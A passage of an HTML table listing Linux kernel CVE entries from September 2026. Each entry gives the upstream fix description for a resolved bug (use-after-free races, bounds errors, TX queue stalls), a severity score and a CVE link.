&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net: cap advertised IP tunnel headroom IP tunnel devices derive their advertised needed_headroom from lower output devices. A stack of user-created devices can make the derived value larger than the 16-bit skb header offsets can represent. Once IP output reserves it, skb head expansion can wrap those offsets. The runtime transmit path already caps a growing needed_headroom at 512. Apply the same cap when tunnel configuration publishes needed_headroom derived from a lower output device. Capping the advertised value is safe: IP tunnel transmit still expands the skb when a packet needs more headroom. A nonsensical stacked configuration can therefore incur an extra reallocation, but it cannot publish an unbounded reservation to upper layers.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80978&quot; target=&quot;_blank&quot;&gt;CVE-2026-80978&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net/smc: unregister the connection before draining the rx tasklet smc_conn_free() calls smc_ism_unset_conn() only while the link group is still on its device list, and never sets conn-&amp;gt;killed. smc_lgr_terminate_sched() unlinks the group immediately and defers killing its connections to a work item, so a connection freed in that window keeps its smcd-&amp;gt;conn[] slot with both gates in smcd_handle_irq() open, and the device can re-arm the receive tasklet after tasklet_kill() has returned. On the DMB-nocopy path the ghost send buffer is freed right after that drain, so the re-armed tasklet dereferences it. Unregister unconditionally and drain before the detach at both teardown sites, mirroring rmb_desc, which smc_buf_unuse() releases after the drain. Clear conn-&amp;gt;sndbuf_desc before freeing it as well, so a reader that samples the pointer cannot get one that is already freed.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80979&quot; target=&quot;_blank&quot;&gt;CVE-2026-80979&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net/smc: fix use-after-free in smc_rx_pipe_buf_release() smc_rx_splice() hands RMB pages to a pipe and takes a socket reference per entry so the smc_sock stays alive until the reader finishes. The connection does not: a concurrent close runs smc_conn_free(), which releases the receive buffer back to the link group pool. smc_rx_pipe_buf_release() tests sk_state before taking the socket lock. The state can change between the test and the lock, and smc_rx_update_cons() then dereferences conn-&amp;gt;rmb_desc and walks conn-&amp;gt;lgr, which smc_conn_free() has already released. On the is_reg_err path smcr_buf_unuse() frees the descriptor outright, so this is a use-after-free. Take the socket lock first and test conn-&amp;gt;freed instead. smc_conn_free() sets that flag before releasing anything, and every caller holds the socket lock. The two paths exclude each other: either the pipe release runs first with everything valid, or it sees the flag and skips the update.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80982&quot; target=&quot;_blank&quot;&gt;CVE-2026-80982&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: NTB: ntb_transport: Reject oversized TX buffers ntb_process_tx() handles an oversized buffer by calling tx_handler() with a NULL data pointer and returning success. ntb_netdev therefore neither frees the skb in its completion callback nor takes its enqueue error path, leaking it. Reject oversized buffers in ntb_transport_tx_enqueue() before acquiring a queue entry and return -EMSGSIZE. The caller retains ownership of the buffer, and the preceding netdev patch frees the skb when enqueue returns this permanent error.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80987&quot; target=&quot;_blank&quot;&gt;CVE-2026-80987&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net: ravb: serialize PTP clock teardown ravb_ptp_interrupt() can race with ravb_ptp_stop() and pass the clock to ptp_clock_event() while ptp_clock_unregister() is freeing it. This can lead to a use-after-free. Use READ_ONCE() and WRITE_ONCE() for lockless access to the clock pointer. Atomically detach it with xchg() before disabling PTP interrupts, then synchronize all IRQs which can invoke ravb_ptp_interrupt() before unregistering the detached clock. A handler which read the old pointer completes before the clock is unregistered, while later handlers read NULL and skip the event.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80991&quot; target=&quot;_blank&quot;&gt;CVE-2026-80991&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net: ravb: avoid dereferencing an invalid PTP clock The PTP clock is unavailable before the first open, so querying its index can dereference a NULL pointer. Registration failures can also leave an error pointer in priv-&amp;gt;ptp.clock. Cache the PHC index separately and report -1 while no clock is registered. Normalize registration errors to NULL and preserve the static timestamping capabilities.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80992&quot; target=&quot;_blank&quot;&gt;CVE-2026-80992&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net: openvswitch: fix flow mask use-after-free on flow deletion The commit in the Fixes tag below made so flow-&amp;gt;mask free is scheduled via RCU right after it is removed from the flow table. The pointer stays in the flow structure and it can be accessible while in the same RCU critical section. This is done to avoid requiring ovs_mutex for the ovs_flow_free(). However, while removing the flow during processing of CMD_DEL, we do not take RCU read lock before the removal, and ovs_flow_cmd_fill_info() uses the flow-&amp;gt;mask pointer afterwards. The RCU read lock is taken, but it&#039;s already late at that point. The comment on that line acknowledges that the lock is cosmetic and doesn&#039;t serve a real purpose. This leads to use-after-free if the RCU grace period passes between removal and the filling. It is a short race window, but it is there and can lead to a real crash in case memory allocation for the info takes a bit longer: BUG: KASAN: slab-use-after-free in __ovs_nla_put_key net/openvswitch/flow_netlink.c:1996 BUG: KASAN: slab-use-after-free in ovs_nla_put_key+0x2463/0x2e30 net/openvswitch/flow_netlink.c:2250 Read of size 4 at addr ffff88801ee89970 by task ovs_flow_del_ec/9487 Call Trace: &amp;lt;TASK&amp;gt; __ovs_nla_put_key net/openvswitch/flow_netlink.c:1996 ovs_nla_put_key+0x2463/0x2e30 net/openvswitch/flow_netlink.c:2250 ovs_flow_cmd_fill_info+0x420/0x9c0 net/openvswitch/datapath.c:930 ovs_flow_cmd_del+0x53a/0x970 net/openvswitch/datapath.c:1467 ... netlink_rcv_skb+0x156/0x420 net/netlink/af_netlink.c:2556 &amp;lt;/TASK&amp;gt; Allocated by task 9487: mask_alloc net/openvswitch/flow_table.c:967 flow_mask_insert net/openvswitch/flow_table.c:1012 ovs_flow_tbl_insert+0xea2/0x1a90 net/openvswitch/flow_table.c:1084 ovs_flow_cmd_new+0x7e3/0xd90 net/openvswitch/datapath.c:1086 ... netlink_rcv_skb+0x156/0x420 net/netlink/af_netlink.c:2556 Freed by task 9485: rcu_free_sheaf+0x1e/0x100 mm/slub.c:5978 rcu_do_batch kernel/rcu/tree.c:2645 rcu_core+0x59c/0x10c0 kernel/rcu/tree.c:2897 handle_softirqs+0x1e4/0x9a0 kernel/softirq.c:622 ... instr_sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1062 ovs_flow_tbl_remove() must be called after the ovs_flow_cmd_fill_info() to avoid this race. This also helps with cleaning up the forced cast and the cosmetic RCU read lock. Before the commit in the Fixes tag the order did not matter as long as the flow object itself was not freed. A wider RCU critical section could be another option, but we have a GFP_KERNEL allocation in the way. Reported by Trend Micro&#039;s Zero Day Initiative as ZDI-CAN-32042.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80994&quot; target=&quot;_blank&quot;&gt;CVE-2026-80994&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net: mctp: hold a reference to the route device in mctp_route_lookup() mctp_route_lookup() uses rt-&amp;gt;dev without holding a reference on it. mctp_route_lookup_single() returns the route under RCU only, so the route&#039;s device can be torn down concurrently: mctp_dev_put() drops the last reference and synchronously kfree()s mdev-&amp;gt;addrs. mctp_dev_saddr() then reads rt-&amp;gt;dev-&amp;gt;addrs[0], giving a use-after-free reachable by an unprivileged local AF_MCTP user on the receive/forwarding path (no CAP_NET_RAW required): BUG: KASAN: slab-use-after-free in mctp_route_lookup Read of size 1 at addr ... by task mctp_uaf/... mctp_route_lookup mctp_pkttype_receive Freed by task ...: kfree mctp_dev_put mctp_dev_notify In the same window mctp_dst_from_route() -&amp;gt; mctp_dev_hold() also increments a refcount that has already reached zero (&quot;refcount_t: addition on 0 ... mctp_dev_hold&quot;). This reintroduces the use-after-free class of CVE-2023-3439: the source address lookup was moved ahead of the point where the destination takes its device reference. Take a reference with refcount_inc_not_zero() before touching rt-&amp;gt;dev, skip a device that is already dead, and drop the reference once the destination has taken its own.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80995&quot; target=&quot;_blank&quot;&gt;CVE-2026-80995&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net: ipa: fix stalled modem TX queue after runtime resume ipa_start_xmit() unconditionally stops the TX queue before calling pm_runtime_get(), relying on the wake scheduled by runtime resume (ipa_modem_wake_queue_work()) to restart it once power is ACTIVE. But that work is queued from within the runtime resume callback, before the device&#039;s power state reaches RPM_ACTIVE, so it can run while the device is still RPM_RESUMING. The wake is then consumed too early: the transmit it restarts stops the queue again, pm_runtime_get() returns -EINPROGRESS without arranging any future wake (deferred_resume exists only for RPM_SUSPENDING), and after the resume completes nothing is left to wake the queue. Transmit stalls permanently: packets pile up in the qdisc behind the stopped queue, the device runtime-suspends, and since the netdev registers no ndo_tx_timeout the watchdog never fires. Observed on SM7635 (Fairphone 6) as the cellular data path going permanently deaf within hours, RX included, since nothing resumes the suspended endpoints. Close the window by making the wake work wait for the resume to complete (pm_runtime_get_sync()) before waking the queue. Every queue stop is then guaranteed a later wake that happens while power is ACTIVE; a transmit racing a new suspend/resume cycle re-schedules the work. If the device could not be resumed, wake the queue anyway so pending packets are dropped by the transmit path rather than stranded. The STARTED power flag used to narrow this window: a wake running before the transmit path&#039;s stop suppressed that stop, but only once, as the flag was cleared by the first stop it absorbed. Removing the flag made a single transmit during an in-flight resume sufficient to strand the queue, which is the form observed. With an accelerated reproducer (autosuspend delay shortened to 5 ms, ~20 packets/s of TX), an unpatched kernel stalled three times in 230 s / 4380 packets; with this patch the same test ran 3601 s / 70298 packets without a stall.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80997&quot; target=&quot;_blank&quot;&gt;CVE-2026-80997&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net: bnxt: ring the doorbell when SW USO exits early When a burst of packets is handed down to the driver, the driver defers the doorbell to the end by setting txr-&amp;gt;kick_pending = 1. The normal TX path handles this, but the SW USO path can miss it if it returns early. If bnxt_sw_udp_gso_xmit runs but returns early with NETDEV_TX_BUSY and txr-&amp;gt;kick_pending was previously set to 1, then the TX queue can stall because the driver wrote some BDs but never wrote the doorbell. The device won&#039;t know to do the TX which would generate the completion that would wake the queue back up. Simplify bnxt_sw_udp_gso_xmit to set txr-&amp;gt;kick_pending in its success case and check the flag on return. The added check after bnxt_sw_udp_gso_xmit returns ensures that any pending doorbells are written handling both successful USO and any early returns, which prevents the TX queue stall mentioned above. This TX queue stall was observed on a production system with a netdev TX watchdog informing about the queue stall.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80998&quot; target=&quot;_blank&quot;&gt;CVE-2026-80998&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net: tun: bound receive headroom tun_get_user() uses tun-&amp;gt;align both as skb headroom and when choosing how much packet data to keep linear. OVS can propagate an oversized headroom request from another port to TUN or TAP. When align is larger than the usable space in a one-page skb head, SKB_MAX_HEAD(align) underflows and the result becomes negative when stored in good_linear. That value later wraps when assigned to the size_t linear variable, and tun_alloc_skb() can place skb-&amp;gt;data outside the allocated head. Bound the headroom stored by TUN to the one-page skb-head budget and the largest non-sentinel 16-bit skb header offset. Leave one linear byte for raw TUN and a complete Ethernet header for TAP, including NET_IP_ALIGN. Also pull the raw-TUN protocol byte and the TAP Ethernet header before accessing them, so these checks remain safe for nonlinear skbs supplied by other allocation paths.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81000&quot; target=&quot;_blank&quot;&gt;CVE-2026-81000&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: slip: fix use-after-free in sl_sync() slip_devs[] stores bare net_device pointers and takes no reference on them. sl_sync() and sl_alloc() walk that table from slip_open() under rtnl_lock(), while an entry is dropped by sl_free_netdev(), which sl_setup() installs as dev-&amp;gt;priv_destructor. priv_destructor is called from netdev_run_todo(), which deliberately runs with the RTNL semaphore released so that it can sleep while waiting for the device refcount to drop: /* Snapshot list, allow later requests */ list_replace_init(&amp;amp;net_todo_list, &amp;amp;list); __rtnl_unlock(); ... if (dev-&amp;gt;priv_destructor) dev-&amp;gt;priv_destructor(dev); /* slip_devs[i] = NULL */ if (dev-&amp;gt;needs_free_netdev) free_netdev(dev); ... /* Free network device */ kobject_put(&amp;amp;dev-&amp;gt;dev.kobj); So rtnl_lock() does not serialise slip_open() against the teardown at all. sl_sync() can load slip_devs[i] while the entry is still published and dereference it after netdev_run_todo() has run the destructor and released the device: CPU0 (slip_open) CPU1 (slip_close) unregister_netdev() rtnl_unlock() netdev_run_todo() __rtnl_unlock() rtnl_lock() sl_sync() dev = slip_devs[i] priv_destructor(dev) slip_devs[i] = NULL kobject_put(&amp;amp;dev-&amp;gt;dev.kobj) /* dev is freed */ sl = netdev_priv(dev) if (sl-&amp;gt;tty || sl-&amp;gt;leased) /* use-after-free */ BUG: KASAN: use-after-free in sl_sync drivers/net/slip/slip.c:730 [inline] BUG: KASAN: use-after-free in slip_open+0xef4/0x1210 drivers/net/slip/slip.c:806 Read of size 1 at addr ffff8880712dac71 by task syz-executor.2/6506 CPU: 2 PID: 6506 Comm: syz-executor.2 Not tainted 6.1.134-syzkaller-00260-g0c8fc3469765 #0 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.12.0-1 04/01/2014 Call Trace: sl_sync drivers/net/slip/slip.c:730 [inline] slip_open+0xef4/0x1210 drivers/net/slip/slip.c:806 tty_ldisc_open+0xa2/0x120 drivers/tty/tty_ldisc.c:433 tty_set_ldisc+0x324/0x720 drivers/tty/tty_ldisc.c:564 tiocsetd drivers/tty/tty_io.c:2428 [inline] tty_ioctl+0x5f0/0x1530 drivers/tty/tty_io.c:2712 Allocated by task 6502: alloc_netdev_mqs+0x98/0xfe0 net/core/dev.c:10719 sl_alloc drivers/net/slip/slip.c:756 [inline] slip_open+0x36d/0x1210 drivers/net/slip/slip.c:817 tty_ldisc_open+0xa2/0x120 drivers/tty/tty_ldisc.c:433 tty_set_ldisc+0x324/0x720 drivers/tty/tty_ldisc.c:564 Freed by task 6497: device_release+0xa2/0x240 drivers/base/core.c:2507 kobject_put+0x179/0x280 lib/kobject.c:729 netdev_run_todo+0x6c8/0xef0 net/core/dev.c:10509 slip_close+0x166/0x1c0 drivers/net/slip/slip.c:906 tty_ldisc_close+0x113/0x1a0 drivers/tty/tty_ldisc.c:456 tty_ldisc_kill+0x94/0x160 drivers/tty/tty_ldisc.c:614 tty_ldisc_release+0xe3/0x2b0 drivers/tty/tty_ldisc.c:782 tty_release+0xbcc/0xe70 drivers/tty/tty_io.c:1860 Commit e58c19124189 (&quot;slip: Fix use-after-free Read in slip_open&quot;) fixed a different source of stale entries - a device left in slip_devs[] after slip_open() freed it on the registration error path - and does not address this race, which is why the report survives it. Drop the entry from ndo_uninit instead. unregister_netdevice() calls ndo_uninit under RTNL, before the device is queued to netdev_run_todo(), so an entry that sl_sync() can still see while holding RTNL belongs to a device that cannot be freed until RTNL is dropped. sl_free_netdev() stays only for the slip_open() error path, where register_netdevice() may have failed before ndo_init and ndo_uninit is then not called either. Both running for the same device is harmless: the ---truncated---&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81001&quot; target=&quot;_blank&quot;&gt;CVE-2026-81001&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ipmi: Remove all sysfs files on registration failure ipmi_add_smi() creates the nr_users and nr_msgs files before trying to create the maintenance_mode file. If that last creation fails, the error path removes only nr_users before dropping the final reference to the interface. Remove nr_msgs as well so no sysfs attribute embedded in the freed interface remains registered.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81006&quot; target=&quot;_blank&quot;&gt;CVE-2026-81006&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ipmi: ipmb: validate write message length ipmb_write() read message fields before validating the length byte. A zero or short write can read uninitialized stack bytes. A length smaller than the SMBus header underflows the block write length. Require a non-empty buffer and the minimum IPMB request length. Also require the length byte plus payload before parsing the message.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81007&quot; target=&quot;_blank&quot;&gt;CVE-2026-81007&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: interconnect: Fix use after free in icc_get() and of_icc_get_by_index() In of_icc_get_by_index() and icc_get(), if the dynamic allocation for path-&amp;gt;name fails via kasprintf(), the error handling path directly calls kfree(path) to free the path object and returns an error. However, prior to this point, path_find() calls path_init(), which already links the path&#039;s requests into the req_list of the respective interconnect nodes via hlist_add_head(). Directly invoking kfree(path) leaves dangling pointers in the hlist. A subsequent call to icc_get() or icc_set_bw() will traverse or modify these corrupted lists, triggering a slab use afterfree. KASAN report showing the vulnerability when reproducing via debugfs: BUG: KASAN: slab-use-after-free in path_find+0x6f8/0xcfc Write of size 8 at addr fff000000d43f748 by task sh/1 ... Call trace: kasan_report+0xac/0xfc path_find+0x6f8/0xcfc icc_get+0x148/0x380 icc_get_set+0xf8/0x2d0 ... Freed by task 1: kfree+0x1a0/0x4a4 icc_get+0x2cc/0x380 icc_get_set+0xf8/0x2d0 Fix this by replacing kfree(path) with the proper teardown function, icc_put(path), which safely removes the requests from the req_list using hlist_del() and drops the provider usage references before freeing the memory. Additionally, in icc_get(), ensure that the icc_lock mutex is released prior to calling icc_put(path) to avoid a deadlock, as icc_put() internally acquires the same lock.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81008&quot; target=&quot;_blank&quot;&gt;CVE-2026-81008&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: io_uring/waitid: honor task_work cancellation io_waitid_cb() may run through the fallback task_work path when task_work_add() can no longer queue work to the originating task. The fallback runs from a kworker and io_uring marks such task work as canceled through tw.cancel. io_waitid_cb() currently ignores tw.cancel and calls __do_wait(). waitid is task-context dependent: __do_wait() performs child lookup relative to current, and the retry path also uses current-&amp;gt;signal-&amp;gt;wait_chldexit. If the callback runs from the fallback kworker, current is therefore not the task that submitted the request. Honor tw.cancel before entering __do_wait(). Complete the request with -ECANCELED and skip the siginfo copy, since canceled task work may run without the submitting task&#039;s userspace execution context. Keep the existing siginfo handling for normal waitid completion and explicit cancellation.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81010&quot; target=&quot;_blank&quot;&gt;CVE-2026-81010&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: platform/x86: hp-bioscfg: pass validated element count to package parsers The per-type package parsers are handed the wrong element count. hp_init_bios_package_attribute() validates obj-&amp;gt;package.count and then calls one of the five hp_populate_*_package_data() wrappers (string, integer, enumeration, ordered list, password). Each wrapper forwards a count to its hp_populate_*_elements_from_package() parser, but instead of forwarding the validated obj-&amp;gt;package.count it derives the count from elements[0]. elements[0] is the NAME field and is always an ACPI_TYPE_STRING, so reading -&amp;gt;package.count from it in fact reads -&amp;gt;string.length through the union acpi_object. The parsers thus bound themselves against the length of the name string rather than against the real number of elements in the package. This is safe today because hp_init_bios_package_attribute() refuses any package that has fewer than the type&#039;s element count, so a parser only ever runs on a full package and never reads past it regardless of the bogus bound. An upcoming change relaxes that check to accept shorter packages. Once a parser can receive fewer elements than its per-type count, a bound taken from the name length no longer reflects the array size, and the &quot;elem &amp;lt; count&quot; loop conditions and &quot;elem + n &amp;gt;= count&quot; sub-loop guards read past the end of elements[] - an out-of-bounds heap read. Forward the validated obj-&amp;gt;package.count to every *_package_data() wrapper so the parsers bound themselves against the real package size. This does not change behaviour for the packages that enumerate correctly today and is a prerequisite for accepting shorter packages safely.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81011&quot; target=&quot;_blank&quot;&gt;CVE-2026-81011&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: platform/x86/amd/pmc: Fix LPS0 and debugfs leaks when STB init fails amd_pmc_probe() registers the LPS0 s2idle handler with acpi_register_lps0_dev() and creates the driver&#039;s debugfs directory before calling amd_stb_s2d_init(), which is the last step in probe that can fail. When amd_stb_s2d_init() fails (for example the S2D telemetry region cannot be ioremapped on a long-running system, or the SMU rejects the S2D setup) the error path only calls pci_dev_put() and returns. This leaves amd_pmc_s2idle_dev_ops on the global lps0_s2idle_devops_head list and leaks the debugfs directory, while the devm-managed resources backing the handler are torn down. Reloading the module then walks the corrupted list in acpi_register_lps0_dev() and hits: list_add corruption. next-&amp;gt;prev should be prev, but was NULL. kernel BUG at lib/list_debug.c:29! acpi_register_lps0_dev+0x44/0x80 amd_pmc_probe+0x224/0x380 [amd_pmc] platform_probe+0x67/0x90 Even without a reload, the stale registration means the next s2idle transition calls into torn-down driver state. Unwind the debugfs directory and the LPS0 registration on the amd_stb_s2d_init() error path. acpi_unregister_lps0_dev() is safe to call unconditionally here: it is guarded on the same conditions as acpi_register_lps0_dev(), which is exactly what amd_pmc_remove() already relies on.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81015&quot; target=&quot;_blank&quot;&gt;CVE-2026-81015&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: platform/x86/amd/pmc: Propagate SMU errors and validate S2D address amd_stb_s2d_init() discards the return value of several S2D SMU commands. When the SMU refuses a command (e.g. &quot;SMU cmd failed. err: 0xff&quot;) the failure is only noticed indirectly - if at all - and reported as -EIO, masking the real error. More seriously, the S2D_PHYS_ADDR_LOW/HIGH return values are ignored, so on failure phys_addr_low/hi are left uninitialised and the assembled address is passed straight to devm_ioremap(). When the SMU leaves them at zero this maps physical address 0 and trips the ioremap-on-RAM warning: amd_pmc AMDI000B:00: SMU cmd failed. err: 0xff ioremap on RAM at 0x0000000000000000 - 0x0000000000ffffff WARNING: CPU: 13 PID: 4592 at arch/x86/mm/ioremap.c:... Check the return value of each SMU command and propagate it, and reject a zero physical address before calling devm_ioremap().&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81016&quot; target=&quot;_blank&quot;&gt;CVE-2026-81016&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: platform/x86: panasonic-laptop: Fix sentinel write past pcc-&amp;gt;sinf[] acpi_pcc_retrieve_biosdata() rejects SINF packages only when pcc-&amp;gt;num_sifr is strictly less than hkey-&amp;gt;package.count, then unconditionally writes a trailing sentinel at pcc-&amp;gt;sinf[hkey-&amp;gt;package.count]. But pcc-&amp;gt;sinf[] is allocated with exactly pcc-&amp;gt;num_sifr elements (valid indices 0..num_sifr-1), so that write needs num_sifr strictly greater than package.count to stay in bounds -- num_sifr == package.count passes the existing check but still overflows by one element. This is exactly the case probe()&#039;s existing num_sifr++ workaround (&quot;Some DSDT-s have an off-by-one bug where the SINF package count is one higher than the SQTY reported value&quot;) is written to accommodate: when a DSDT&#039;s SINF package count equals SQTY+1, the workaround makes num_sifr equal to package.count, which is precisely the boundary that overflows here. Found via UBSan (array-index-out-of-bounds) on hardware where HKEY.SQTY returns 37 and HKEY.SINF()&#039;s package has 38 elements: num_sifr becomes 38 after the += 1 workaround, the loop correctly fills indices 0..37, and the sentinel write then targets index 38, one past the end -- a silent 4-byte heap overflow on kernels without CONFIG_UBSAN. Tightening the rejection check to num_sifr &amp;lt;= package.count would avoid the overflow but breaks probe() entirely on exactly this hardware, since num_sifr == package.count is the case the off-by-one workaround exists to support. Nothing else in the driver reads this sentinel value back, so simply skip the write when there is no room for it instead.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89436&quot; target=&quot;_blank&quot;&gt;CVE-2026-89436&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
